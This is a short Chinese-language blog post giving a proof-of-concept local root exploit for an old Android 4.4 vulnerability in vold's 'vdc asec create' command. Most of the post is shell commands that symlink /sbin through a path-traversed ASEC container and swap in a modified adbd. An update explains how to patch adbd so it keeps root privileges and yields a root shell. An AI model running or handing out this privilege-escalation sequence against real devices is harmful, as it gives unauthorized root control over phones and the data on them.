Retme的未来道具研究所

世界線の収束には、逆らえない

国庆过后刷刷存在感,很老的方法了

http://blog.cassidiancybersecurity.com/post/2014/06/Android-4.4.3%2C-or-fixing-an-old-local-root

只是这哥们没贴PoC,于是我贴一个:

ln -s  /sbin /data/local/tmp/test1
vdc asec create ../../data/local/tmp/test1 4 ext4 none 2000 false
ln -s  /data/local/tmp/adbd /sbin/adbd
chmod 755 /data/local/tmp/adbd
echo 'kill adbd by yourself,then you get a root shell'

update  2015年1月6日:

@jp_acg 同学私信提醒我说 /data/local/tmp/adbd不存在,我补充一下:

实际上这个adbd是一个修改过的adbd,常规的adbd启动之后会自己降权,所以这里需要一个不降权的adbd

http://androidxref.com/5.0.0_r2/xref/system/core/adb/adb.c#should_drop_privileges

直接让should_drop_privileges  return 0,然后重新编译即可

adbd重启之后再用adb连接,即可得到一个 init_shell 的root权限